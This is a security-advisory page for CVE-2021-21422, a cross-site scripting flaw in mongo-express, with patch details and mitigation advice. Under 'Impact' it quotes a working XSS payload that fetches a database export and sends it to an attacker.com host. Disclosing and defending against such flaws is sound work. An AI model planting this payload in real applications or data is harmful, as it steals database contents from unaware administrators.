CVE-2021-21422 is a medium-severity (CVSS 6.1) Cross-site Scripting (XSS) vulnerability in mongo-express. 2 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for mongo-express — see the affected versions and patch details below.
Cross-site scripting
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
mongo-expressnpmDescription
Two kinds of XSS were found:
- As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
- Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.
Impact
As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:
{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res => await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>" }
This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.
Patches
Upgrade to v1.0.0-alpha.4
For more information
If you have any questions or comments about this advisory:
- Open an issue in mongo-express
- Email me at [email protected]
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | mongo-express | all versions | 1.0.0-alpha.4npm install mongo-express@1.0.0-alpha.4 |
Affected Products
mongo-expressmongo-express_projectResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mongo-express, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update mongo-express to 1.0.0-alpha.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-21422 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2021-21422 in your dependencies?
Find it across npm, including transitive dependencies.